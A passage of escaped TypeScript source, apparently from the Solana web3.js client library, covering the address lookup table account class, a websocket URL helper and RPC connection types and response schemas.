LOOKUP_TABLE_META_SIZE = 56;\n\nexport class AddressLookupTableAccount {\n key: PublicKey;\n state: AddressLookupTableState;\n\n constructor(args: AddressLookupTableAccountArgs) {\n this.key = args.key;\n this.state = args.state;\n }\n\n isActive(): boolean {\n const U64_MAX = BigInt('0xffffffffffffffff');\n return this.state.deactivationSlot === U64_MAX;\n }\n\n static deserialize(accountData: Uint8Array): AddressLookupTableState {\n const meta = decodeData(LookupTableMetaLayout, accountData);\n\n const serializedAddressesLen = accountData.length - LOOKUP_TABLE_META_SIZE;\n assert(serializedAddressesLen >= 0, 'lookup table is invalid');\n assert(serializedAddressesLen % 32 === 0, 'lookup table is invalid');\n\n const numSerializedAddresses = serializedAddressesLen / 32;\n const {addresses} = BufferLayout.struct<{addresses: Array<Uint8Array>}>([\n BufferLayout.seq(Layout.publicKey(), numSerializedAddresses, 'addresses'),\n ]).decode(accountData.slice(LOOKUP_TABLE_META_SIZE));\n\n return {\n deactivationSlot: meta.deactivationSlot,\n lastExtendedSlot: meta.lastExtendedSlot,\n lastExtendedSlotStartIndex: meta.lastExtendedStartIndex,\n authority:\n meta.authority.length !== 0\n ? new PublicKey(meta.authority[0])\n : undefined,\n addresses: addresses.map(address => new PublicKey(address)),\n };\n }\n}\n\nconst LookupTableMetaLayout = {\n index: 1,\n layout: BufferLayout.struct<{\n typeIndex: number;\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedStartIndex: number;\n authority: Array<Uint8Array>;\n }>([\n BufferLayout.u32('typeIndex'),\n u64('deactivationSlot'),\n BufferLayout.nu64('lastExtendedSlot'),\n BufferLayout.u8('lastExtendedStartIndex'),\n BufferLayout.u8(), // option\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u8(), -1),\n 'authority',\n ),\n ]),\n};\n","const URL_RE = /^[^:]+:\\/\\/([^:[]+|\\[[^\\]]+\\])(:\\d+)?(.*)/i;\n\nexport function makeWebsocketUrl(endpoint: string) {\n const matches = endpoint.match(URL_RE);\n if (matches == null) {\n throw TypeError(`Failed to validate endpoint URL \\`${endpoint}\\``);\n }\n const [\n _, // eslint-disable-line @typescript-eslint/no-unused-vars\n hostish,\n portWithColon,\n rest,\n ] = matches;\n const protocol = endpoint.startsWith('https:') ? 'wss:' : 'ws:';\n const startPort =\n portWithColon == null ? null : parseInt(portWithColon.slice(1), 10);\n const websocketPort =\n // Only shift the port by +1 as a convention for ws(s) only if given endpoint\n // is explicitly specifying the endpoint port (HTTP-based RPC), assuming\n // we're directly trying to connect to agave-validator's ws listening port.\n // When the endpoint omits the port, we're connecting to the protocol\n // default ports: http(80) or https(443) and it's assumed we're behind a reverse\n // proxy which manages WebSocket upgrade and backend port redirection.\n startPort == null ? '' : `:${startPort + 1}`;\n return `${protocol}//${hostish}${websocketPort}${rest}`;\n}\n","import HttpKeepAliveAgent, {\n HttpsAgent as HttpsKeepAliveAgent,\n} from 'agentkeepalive';\nimport bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n// @ts-ignore\nimport fastStableStringify from 'fast-stable-stringify';\nimport type {Agent as NodeHttpAgent} from 'http';\nimport {Agent as NodeHttpsAgent} from 'https';\nimport {\n type as pick,\n number,\n string,\n array,\n boolean,\n literal,\n record,\n union,\n optional,\n nullable,\n coerce,\n instance,\n create,\n tuple,\n unknown,\n any,\n} from 'superstruct';\nimport type {Struct} from 'superstruct';\nimport RpcClient from 'jayson/lib/client/browser';\nimport {JSONRPCError} from 'jayson';\n\nimport {EpochSchedule} from './epoch-schedule';\nimport {SendTransactionError, SolanaJSONRPCError} from './errors';\nimport fetchImpl from './fetch-impl';\nimport {DurableNonce, NonceAccount} from './nonce-account';\nimport {PublicKey} from './publickey';\nimport {Signer} from './keypair';\nimport RpcWebSocketClient from './rpc-websocket';\nimport {MS_PER_SLOT} from './timing';\nimport {\n Transaction,\n TransactionStatus,\n TransactionVersion,\n VersionedTransaction,\n} from './transaction';\nimport {Message, MessageHeader, MessageV0, VersionedMessage} from './message';\nimport {AddressLookupTableAccount} from './programs/address-lookup-table/state';\nimport assert from './utils/assert';\nimport {sleep} from './utils/sleep';\nimport {toBuffer} from './utils/to-buffer';\nimport {\n TransactionExpiredBlockheightExceededError,\n TransactionExpiredNonceInvalidError,\n TransactionExpiredTimeoutError,\n} from './transaction/expiry-custom-errors';\nimport {makeWebsocketUrl} from './utils/makeWebsocketUrl';\nimport type {Blockhash} from './blockhash';\nimport type {FeeCalculator} from './fee-calculator';\nimport type {TransactionSignature} from './transaction';\nimport type {CompiledInstruction} from './message';\n\nconst PublicKeyFromString = coerce(\n instance(PublicKey),\n string(),\n value => new PublicKey(value),\n);\n\nconst RawAccountDataResult = tuple([string(), literal('base64')]);\n\nconst BufferFromRawAccountData = coerce(\n instance(Buffer),\n RawAccountDataResult,\n value => Buffer.from(value[0], 'base64'),\n);\n\n/**\n * Attempt to use a recent blockhash for up to 30 seconds\n * @internal\n */\nexport const BLOCKHASH_CACHE_TIMEOUT_MS = 30 * 1000;\n\n/**\n * HACK.\n * Copied from rpc-websockets/dist/lib/client.\n * Otherwise, `yarn build` fails with:\n * https://gist.github.com/steveluscher/c057eca81d479ef705cdb53162f9971d\n */\ninterface IWSRequestParams {\n [x: string]: any;\n [x: number]: any;\n}\n\ntype ClientSubscriptionId = number;\n/** @internal */ type ServerSubscriptionId = number;\n/** @internal */ type SubscriptionConfigHash = string;\n/** @internal */ type SubscriptionDisposeFn = () => Promise<void>;\n/** @internal */ type SubscriptionStateChangeCallback = (\n nextState: StatefulSubscription['state'],\n) => void;\n/** @internal */ type SubscriptionStateChangeDisposeFn = () => void;\n/**\n * @internal\n * Every subscription contains the args used to open the subscription with\n * the server, and a list of callers interested in notifications.\n */\ntype BaseSubscription<TMethod = SubscriptionConfig['method']> = Readonly<{\n args: IWSRequestParams;\n callbacks: Set<Extract<SubscriptionConfig, {method: TMethod}>['callback']>;\n}>;\n/**\n * @internal\n * A subscription may be in various states of connectedness. Only when it is\n * fully connected will it have a server subscription id associated with it.\n * This id can be returned to the server to unsubscribe the client entirely.\n */\ntype StatefulSubscription = Readonly<\n // New subscriptions that have not yet been\n // sent to the server start in this state.\n | {\n state: 'pending';\n }\n // These subscriptions have been sent to the server\n // and are waiting for the server to acknowledge them.\n | {\n state: 'subscribing';\n }\n // These subscriptions have been acknowledged by the\n // server and have been assigned server subscription ids.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'subscribed';\n }\n // These subscriptions are intended to be torn down and\n // are waiting on an acknowledgement from the server.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribing';\n }\n // The request to tear down these subscriptions has been\n // acknowledged by the server. The `serverSubscriptionId`\n // is the id of the now-dead subscription.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribed';\n }\n>;\n/**\n * A type that encapsulates a subscription's RPC method\n * names and notification (callback) signature.\n */\ntype SubscriptionConfig = Readonly<\n | {\n callback: AccountChangeCallback;\n method: 'accountSubscribe';\n unsubscribeMethod: 'accountUnsubscribe';\n }\n | {\n callback: LogsCallback;\n method: 'logsSubscribe';\n unsubscribeMethod: 'logsUnsubscribe';\n }\n | {\n callback: ProgramAccountChangeCallback;\n method: 'programSubscribe';\n unsubscribeMethod: 'programUnsubscribe';\n }\n | {\n callback: RootChangeCallback;\n method: 'rootSubscribe';\n unsubscribeMethod: 'rootUnsubscribe';\n }\n | {\n callback: SignatureSubscriptionCallback;\n method: 'signatureSubscribe';\n unsubscribeMethod: 'signatureUnsubscribe';\n }\n | {\n callback: SlotChangeCallback;\n method: 'slotSubscribe';\n unsubscribeMethod: 'slotUnsubscribe';\n }\n | {\n callback: SlotUpdateCallback;\n method: 'slotsUpdatesSubscribe';\n unsubscribeMethod: 'slotsUpdatesUnsubscribe';\n }\n>;\n/**\n * @internal\n * Utility type that keeps tagged unions intact while omitting properties.\n */\ntype DistributiveOmit<T, K extends PropertyKey> = T extends unknown\n ? Omit<T, K>\n : never;\n/**\n * @internal\n * This type represents a single subscribable 'topic.' It's made up of:\n *\n * - The args used to open the subscription with the server,\n * - The state of the subscription, in terms of its connectedness, and\n * - The set of callbacks to call when the server publishes notifications\n *\n * This record gets indexed by `SubscriptionConfigHash` and is used to\n * set up subscriptions, fan out notifications, and track subscription state.\n */\ntype Subscription = BaseSubscription &\n StatefulSubscription &\n DistributiveOmit<SubscriptionConfig, 'callback'>;\n\ntype RpcRequest = (methodName: string, args: Array<any>) => Promise<any>;\n\ntype RpcBatchRequest = (requests: RpcParams[]) => Promise<any[]>;\n\n/**\n * @internal\n */\nexport type RpcParams = {\n methodName: string;\n args: Array<any>;\n};\n\nexport type TokenAccountsFilter =\n | {\n mint: PublicKey;\n }\n | {\n programId: PublicKey;\n };\n\n/**\n * Extra contextual information for RPC responses\n */\nexport type Context = {\n slot: number;\n};\n\n/**\n * Options for sending transactions\n */\nexport type SendOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for confirming transactions\n */\nexport type ConfirmOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** desired commitment level */\n commitment?: Commitment;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for getConfirmedSignaturesForAddress2\n */\nexport type ConfirmedSignaturesForAddress2Options = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n};\n\n/**\n * Options for getSignaturesForAddress\n */\nexport type SignaturesForAddressOptions = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * RPC Response with extra contextual information\n */\nexport type RpcResponseAndContext<T> = {\n /** response context */\n context: Context;\n /** response value */\n value: T;\n};\n\nexport type BlockhashWithExpiryBlockHeight = Readonly<{\n blockhash: Blockhash;\n lastValidBlockHeight: number;\n}>;\n\n/**\n * A strategy for confirming transactions that uses the last valid\n * block height for a given blockhash to check for transaction expiration.\n */\nexport type BlockheightBasedTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & BlockhashWithExpiryBlockHeight;\n\n/**\n * A strategy for confirming durable nonce transactions.\n */\nexport type DurableNonceTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & {\n /**\n * The lowest slot at which to fetch the nonce value from the\n * nonce account. This should be no lower than the slot at\n * which the last-known value of the nonce was fetched.\n */\n minContextSlot: number;\n /**\n * The account where the current value of the nonce is stored.\n */\n nonceAccountPubkey: PublicKey;\n /**\n * The nonce value that was used to sign the transaction\n * for which confirmation is being sought.\n */\n nonceValue: DurableNonce;\n };\n\n/**\n * Properties shared by all transaction confirmation strategies\n */\nexport type BaseTransactionConfirmationStrategy = Readonly<{\n /** A signal that, when aborted, cancels any outstanding transaction confirmation operations */\n abortSignal?: AbortSignal;\n signature: TransactionSignature;\n}>;\n\n/**\n * This type represents all transaction confirmation strategies\n */\nexport type TransactionConfirmationStrategy =\n | BlockheightBasedTransactionConfirmationStrategy\n | DurableNonceTransactionConfirmationStrategy;\n\n/* @internal */\nfunction assertEndpointUrl(putativeUrl: string) {\n if (/^https?:/.test(putativeUrl) === false) {\n throw new TypeError('Endpoint URL must start with `http:` or `https:`.');\n }\n return putativeUrl;\n}\n\n/** @internal */\nfunction extractCommitmentFromConfig<TConfig>(\n commitmentOrConfig?: Commitment | ({commitment?: Commitment} & TConfig),\n) {\n let commitment: Commitment | undefined;\n let config: Omit<TConfig, 'commitment'> | undefined;\n if (typeof commitmentOrConfig === 'string') {\n commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n const {commitment: specifiedCommitment, ...specifiedConfig} =\n commitmentOrConfig;\n commitment = specifiedCommitment;\n config = specifiedConfig;\n }\n return {commitment, config};\n}\n\n/**\n * @internal\n */\nfunction applyDefaultMemcmpEncodingToFilters(\n filters: GetProgramAccountsFilter[],\n): GetProgramAccountsFilter[] {\n return filters.map(filter =>\n 'memcmp' in filter\n ? {\n ...filter,\n memcmp: {\n ...filter.memcmp,\n encoding: filter.memcmp.encoding ?? 'base58',\n },\n }\n : filter,\n );\n}\n\n/**\n * @internal\n */\nfunction createRpcResult<T, U>(result: Struct<T, U>) {\n return union([\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n result,\n }),\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n error: pick({\n code: unknown(),\n message: string(),\n data: optional(any()),\n }),\n }),\n ]);\n}\n\nconst UnknownRpcResult = createRpcResult(unknown());\n\n/**\n * @internal\n */\nfunction jsonRpcResult<T, U>(schema: Struct<T, U>) {\n return coerce(createRpcResult(schema), UnknownRpcResult, value => {\n if ('error' in value) {\n return value;\n } else {\n return {\n ...value,\n result: create(value.result, schema),\n };\n }\n });\n}\n\n/**\n * @internal\n */\nfunction jsonRpcResultAndContext<T, U>(value: Struct<T, U>) {\n return jsonRpcResult(\n pick({\n context: pick({\n slot: number(),\n }),\n value,\n }),\n );\n}\n\n/**\n * @internal\n */\nfunction notificationResultAndContext<T, U>(value: Struct<T, U>) {\n return pick({\n context: pick({\n slot: number(),\n }),\n value,\n });\n}\n\n/**\n * @internal\n */\nfunction versionedMessageFromResponse(\n version: TransactionVersion | undefined,\n response: MessageResponse,\n): VersionedMessage {\n if (version === 0) {\n return new MessageV0({\n header: response.header,\n staticAccountKeys: response.accountKeys.map(\n accountKey => new PublicKey(accountKey),\n ),\n recentBlockhash: response.recentBlockhash,\n compiledInstructions: response.instructions.map(ix => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n })),\n addressTableLookups: response.addressTableLookups!,\n });\n } else {\n return new Message(response);\n }\n}\n\n/**\n * The level of commitment desired when querying state\n * <pre>\n * 'processed': Query the most recent block which has reached 1 confirmation by the connected node\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Commitment =\n | 'processed'\n | 'confirmed'\n | 'finalized'\n | 'recent' // Deprecated as of v1.5.5\n | 'single' // Deprecated as of v1.5.5\n | 'singleGossip' // Deprecated as of v1.5.5\n | 'root' // Deprecated as of v1.5.5\n | 'max'; // Deprecated as of v1.5.5\n\n/**\n * A subset of Commitment levels, which are at least optimistically confirmed\n * <pre>\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Finality = 'confirmed' | 'finalized';\n\n/**\n * Filter for largest accounts query\n * <pre>\n * 'circulating': Return the largest accounts that are part of the circulating supply\n * 'nonCirculating': Return the largest accounts that are not part of the circulating supply\n * </pre>\n */\nexport type LargestAccountsFilter = 'circulating' | 'nonCirculating';\n\n/**\n * Configuration object for changing `getAccountInfo` query behavior\n */\nexport type GetAccountInfoConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for changing `getBalance` query behavior\n */\nexport type GetBalanceConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetVersionedBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getStakeMinimumDelegation` query behavior\n */\nexport type GetStakeMinimumDelegationConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n};\n\n/**\n * Configuration object for changing `getBlockHeight` query behavior\n */\nexport type GetBlockHeightConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getEpochInfo` query behavior\n */\nexport type GetEpochInfoConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getInflationReward` query behavior\n */\nexport type GetInflationRewardConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** An epoch for which the reward occurs. If omitted, the previous epoch will be used */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getLatestBlockhash` query behavior\n */\nexport type GetLatestBlockhashConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `isBlockhashValid` query behavior\n */\nexport type IsBlockhashValidConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlot` query behavior\n */\nexport type GetSlotConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlotLeader` query behavior\n */\nexport type GetSlotLeaderConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetVersionedTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n};\n\n/**\n * Configuration object for changing `getLargestAccounts` query behavior\n */\nexport type GetLargestAccountsConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Filter largest accounts by whether they are part of the circulating supply */\n filter?: LargestAccountsFilter;\n};\n\n/**\n * Configuration object for changing `getSupply` request behavior\n */\nexport type GetSupplyConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Exclude non circulating accounts list from response */\n excludeNonCirculatingAccountsList?: boolean;\n};\n\n/**\n * Configuration object for changing query behavior\n */\nexport type SignatureStatusConfig = {\n /** enable searching status history, not needed for recent transactions */\n searchTransactionHistory: boolean;\n};\n\n/**\n * Information describing a cluster node\n */\nexport type ContactInfo = {\n /** Identity public key of the node */\n pubkey: string;\n /** Gossip network address for the node */\n gossip: string | null;\n /** TPU network address for the node (null if not available) */\n tpu: string | null;\n /** JSON RPC network address for the node (null if not available) */\n rpc: string | null;\n /** Software version of the node (null if not available) */\n version: string | null;\n};\n\n/**\n * Information describing a vote account\n */\nexport type VoteAccountInfo = {\n /** Public key of the vote account */\n votePubkey: string;\n /** Identity public key of the node voting with this account */\n nodePubkey: string;\n /** The stake, in lamports, delegated to this vote account and activated */\n activatedStake: number;\n /** Whether the vote account is staked for this epoch */\n epochVoteAccount: boolean;\n /** Recent epoch voting credit history for this voter */\n epochCredits: Array<[number, number, number]>;\n /** A percentage (0-100) of rewards payout owed to the voter */\n commission: number;\n /** Most recent slot voted on by this vote account */\n lastVote: number;\n};\n\n/**\n * A collection of cluster vote accounts\n */\nexport type VoteAccountStatus = {\n /** Active vote accounts */\n current: Array<VoteAccountInfo>;\n /** Inactive vote accounts */\n delinquent: Array<VoteAccountInfo>;\n};\n\n/**\n * Network Inflation\n * (see https://docs.solana.com/implemented-proposals/ed_overview)\n */\nexport type InflationGovernor = {\n foundation: number;\n foundationTerm: number;\n initial: number;\n taper: number;\n terminal: number;\n};\n\nconst GetInflationGovernorResult = pick({\n foundation: number(),\n foundationTerm: number(),\n initial: number(),\n taper: number(),\n terminal: number(),\n});\n\n/**\n * The inflation reward for an epoch\n */\nexport type InflationReward = {\n /** epoch for which the reward occurs */\n epoch: number;\n /** the slot in which the rewards are effective */\n effectiveSlot: number;\n /** reward amount in lamports */\n amount: number;\n /** post balance of the account in lamports */\n postBalance: number;\n /** vote account commission when the reward was credited */\n commission?: number | null;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationReward\" message\n */\nconst GetInflationRewardResult = jsonRpcResult(\n array(\n nullable(\n pick({\n epoch: number(),\n effectiveSlot: number(),\n amount: number(),\n postBalance: number(),\n commission: optional(nullable(number())),\n }),\n ),\n ),\n);\n\nexport type RecentPrioritizationFees = {\n /** slot in which the fee was observed */\n slot: number;\n /** the per-compute-unit fee paid by at least one successfully landed transaction, specified in increments of 0.000001 lamports*/\n prioritizationFee: number;\n};\n\n/**\n * Configuration object for changing `getRecentPrioritizationFees` query behavior\n */\nexport type GetRecentPrioritizationFeesConfig = {\n /**\n * If this parameter is provided, the response will reflect a fee to land a transaction locking\n * all of the provided accounts as writable.\n */\n lockedWritableAccounts?: PublicKey[];\n};\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesResult = array(\n pick({\n slot: number(),\n prioritizationFee: number(),\n }),\n);\n\nexport type InflationRate = {\n /** total inflation */\n total: number;\n /** inflation allocated to validators */\n validator: number;\n /** inflation allocated to the foundation */\n foundation: number;\n /** epoch for which these values are valid */\n epoch: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateResult = pick({\n total: number(),\n validator: number(),\n foundation: number(),\n epoch: number(),\n});\n\n/**\n * Information about the current epoch\n */\nexport type EpochInfo = {\n epoch: number;\n slotIndex: number;\n slotsInEpoch: number;\n absoluteSlot: number;\n blockHeight?: number;\n transactionCount?: number;\n};\n\nconst GetEpochInfoResult = pick({\n epoch: number(),\n slotIndex: number(),\n slotsInEpoch: number(),\n absoluteSlot: number(),\n blockHeight: optional(number()),\n transactionCount: optional(number()),\n});\n\nconst GetEpochScheduleResult = pick({\n slotsPerEpoch: number(),\n leaderScheduleSlotOffset: number(),\n warmup: boolean(),\n firstNormalEpoch: number(),\n firstNormalSlot: number(),\n});\n\n/**\n * Leader schedule\n * (see https://docs.solana.com/terminology#leader-schedule)\n */\nexport type LeaderSchedule = {\n [address: string]: number[];\n};\n\nconst GetLeaderScheduleResult = record(string(), array(number()));\n\n/**\n * Transaction error or null\n */\nconst TransactionErrorResult = nullable(union([pick({}), string()]));\n\n/**\n * Signature status for a transaction\n */\nconst SignatureStatusResult = pick({\n err: TransactionErrorResult,\n});\n\n/**\n * Transaction signature received notification\n */\nconst SignatureReceivedResult = literal('receivedSignature');\n\n/**\n * Version info for a node\n */\nexport type Version = {\n /** Version of solana-core */\n 'solana-core': string;\n 'feature-set'?: number;\n};\n\nconst VersionResult = pick({\n 'solana-core': string(),\n 'feature-set': optional(number()),\n});\n\nexport type SimulatedTransactionAccountInfo = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: string;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: string[];\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\nexport type TransactionReturnDataEncoding = 'base64';\n\nexport type TransactionReturnData = {\n programId: string;\n data: [string, TransactionReturnDataEncoding];\n};\n\nexport type SimulateTransactionConfig = {\n /** Optional parameter used to enable signature verification before simulation */\n sigVerify?: boolean;\n /** Optional parameter used to replace the simulated transaction's recent blockhash with the latest blockhash */\n replaceRecentBlockhash?: boolean;\n /** Optional parameter used to set the commitment level when selecting the latest block */\n commitment?: Commitment;\n /** Optional parameter used to specify a list of base58-encoded account addresses to return post simulation state for */\n accounts?: {\n /** The encoding of the returned account's data */\n encoding: 'base64';\n addresses: string[];\n };\n /** Optional parameter used to specify the minimum block slot that can be used for simulation */\n minContextSlot?: number;\n /** Optional parameter used to include inner instructions in the simulation */\n innerInstructions?: boolean;\n};\n\nexport type SimulatedTransactionResponse = {\n err: TransactionError | string | null;\n logs: Array<string> | null;\n accounts?: (SimulatedTransactionAccountInfo | null)[] | null;\n unitsConsumed?: number;\n returnData?: TransactionReturnData | null;\n innerInstructions?: ParsedInnerInstruction[] | null;\n};\nconst ParsedInstructionStruct = pick({\n program: string(),\n programId: PublicKeyFromString,\n parsed: unknown(),\n});\n\nconst PartiallyDecodedInstructionStruct = pick({\n programId: PublicKeyFromString,\n accounts: array(PublicKeyFromString),\n data: string(),\n});\n\nconst SimulatedTransactionResponseStruct = jsonRpcResultAndContext(\n pick({\n err: nullable(union([pick({}), string()])),\n logs: nullable(array(string())),\n accounts: optional(\n nullable(\n array(\n nullable(\n pick({\n executable: boolean(),\n owner: string(),\n lamports: number(),\n data: array(string()),\n rentEpoch: optional(number()),\n }),\n ),\n ),\n ),\n ),\n unitsConsumed: optional(number()),\n returnData: optional(\n nullable(\n pick({\n programId: string(),\n data: tuple([string(), literal('base64')]),\n }),\n ),\n ),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n union([\n ParsedInstructionStruct,\n PartiallyDecodedInstructionStruct,\n ]),\n ),\n }),\n ),\n ),\n ),\n }),\n);\n\nexport type ParsedInnerInstruction = {\n index: number;\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n};\n\nexport type TokenBalance = {\n accountIndex: number;\n mint: string;\n owner?: string;\n programId?: string;\n uiTokenAmount: TokenAmount;\n};\n\n/**\n * Metadata for a parsed confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionMeta} instead.\n */\nexport type ParsedConfirmedTransactionMeta = ParsedTransactionMeta;\n\n/**\n * Collection of addresses loaded by a transaction using address table lookups\n */\nexport type LoadedAddresses = {\n writable: Array<PublicKey>;\n readonly: Array<PublicKey>;\n};\n\n/**\n * Metadata for a parsed transaction on the ledger\n */\nexport type ParsedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked parsed instructions */\n innerInstructions?: ParsedInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\nexport type CompiledInnerInstruction = {\n index: number;\n instructions: CompiledInstruction[];\n};\n\n/**\n * Metadata for a confirmed transaction on the ledger\n */\nexport type ConfirmedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked instructions */\n innerInstructions?: CompiledInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\n/**\n * A processed transaction from the RPC API\n */\nexport type TransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * 